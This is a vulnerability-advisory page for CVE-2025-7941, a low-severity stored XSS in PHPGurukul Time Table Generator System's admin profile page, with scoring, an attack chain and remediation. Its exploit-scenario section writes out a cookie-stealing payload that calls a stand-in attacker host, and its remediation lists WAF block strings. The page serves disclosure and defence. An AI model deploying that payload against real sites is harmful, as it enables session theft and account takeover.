Skip to main content

PHPGurukul Time Table Generator CVE-2025-7941

LOW
Cross-site Scripting (XSS) (CWE-79)
2025-07-21 cna@vuldb.com
2.0
CVSS 4.0 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain admin credentials
  2. Delivery
    Login to Time Table Generator
  3. Exploit
    Navigate to /admin/profile.php
  4. Install
    Inject XSS payload in adminname field
  5. C2
    Save malicious profile
  6. Execute
    Victim admin views compromised profile
  7. Impact
    JavaScript executes in victim's browser
  8. Step 8
    Attacker steals session/credentials or performs admin actions

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the following concrete conditions: (1) Valid admin-level credentials to access and modify the /admin/profile.php page (PR:L - Login Privilege Required); (2) The adminname parameter must be rendered in HTML context without sanitization or encoding; (3) A victim admin or user with sufficient privileges must view the compromised profile page for the payload to execute (UI:P - User Interaction Required). The vulnerability does NOT require any special deployment configuration or non-default settings - it is present in standard installations of version 1.0. Authentication is mandatory; unauthenticated remote attackers cannot directly exploit this vulnerability, though attackers with stolen credentials or those who have compromised an admin account can execute the attack. The user interaction requirement (UI:P) means the payload is triggered only when another user visits the admin profile page, not automatically or server-side.

Impact

Despite the low CVSS score of 2.0, this XSS vulnerability presents moderate real-world risk in an educational institution context. The EPSS score of 0.07% (21st percentile) indicates low statistical likelihood of exploitation attempts, yet contradicts the presence of publicly available POC code - suggesting targeted rather than opportunistic attacks. The CVSS vector reveals critical limiting factors: PR:L (requires login as admin user), UI:P (requires user interaction to trigger), and minimal impact scope (VI:L only). These constraints mean exploitation requires either credential compromise or social engineering of an existing administrator. However, the attack vector (AV:N) allows remote delivery, and the presence of public exploit code lowers the barrier for attackers who gain admin credentials. In a small educational deployment with weak password practices, this becomes a realistic privilege-escalation or lateral-movement vector. The low EPSS despite public POC availability suggests this CVE has not yet achieved widespread scanning or exploitation - organizations with already-compromised admin accounts face higher risk than those with strong access controls. The integrity impact (VI:L) limits the damage to reputation/defacement rather than data exfiltration or system compromise.

Exploit ScenarioDerived

An attacker with a compromised or obtained admin credential logs into the Time Table Generator System and navigates to /admin/profile.php. In the adminname field, the attacker injects a malicious JavaScript payload such as '<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">'. Upon saving the profile, the payload is stored in the database. When another administrator or staff member views the admin profile page, the injected script executes in their browser, silently exfiltrating their session cookie to the attacker's server, enabling account takeover. Publicly available POC code demonstrates this exact payload structure, reducing the attacker's technical barrier significantly.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 29, 2026

Stored cross-site scripting (XSS) in PHPGurukul Time Table Generator System 1.0 allows authenticated users to inject malicious scripts via the adminname parameter in /admin/profile.php, affecting other users who view the compromised admin profile. The vulnerability requires user interaction (UI:P) and authenticated access (PR:L), limiting direct impact to integrity (VI:L), but publicly available exploit code demonstrates feasibility for authorized attackers to escalate privileges or perform actions on behalf of administrators.

RemediationAI

Primary remediation requires upgrading from version 1.0 to a patched release; however, no specific patched version is currently documented in vendor advisories. Contact PHPGurukul directly at https://phpgurukul.com/ to request a security update or patch for this XSS vulnerability. As an immediate compensating control, restrict access to the /admin/profile.php endpoint using web application firewall (WAF) rules that block requests containing script tags or event handlers in the adminname parameter (e.g., block strings containing '<script', 'onerror=', 'onclick='). Additionally, implement strict output encoding: ensure all admin profile data displayed in HTML context is HTML-entity-encoded and all JavaScript context uses JavaScript escaping before rendering. Enforce Content Security Policy (CSP) headers with script-src 'self' to prevent inline script execution even if XSS payloads are injected. Require multi-factor authentication (MFA) for all admin accounts to reduce the likelihood of credential compromise. These mitigations do not fix the underlying code flaw but prevent exploitation of this specific attack vector until a vendor patch is released.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability exists in the admin profile management functionality (/admin/profile.php) of a PHP-based educational scheduling application. The adminname input parameter fails to properly sanitize or validate user-supplied data before storing or rendering it in the application context, allowing injection of arbitrary HTML and JavaScript. This is a classic CWE-79 (Improper Neutralization of Input During Web Page Generation) vulnerability in a server-side PHP application where user input is reflected or stored without encoding. The affected CPE indicates this is specifically the Time Table Generator System version 1.0 from PHPGurukul, a platform commonly used in educational institutions for managing class schedules.

Know when Time Table Generator System gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 2.0 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

A vulnerability, which was classified as problematic, was found in PHPGurukul Time Table Generator System 1.0. Affected is an unknown function of the file /admin/profile.php. The manipulation of the argument adminname leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.

Threat Intelligence Overview

EPSS Score
0.1%
Top 79% exploitable
Exploit
POC
Public exploit code exists
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 0.1%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Low

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Affected Products (CPE)CVE.org

cpe:2.3:a:phpgurukul:time_table_generator_system:1.0:*:*:*:*:*:*:*

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy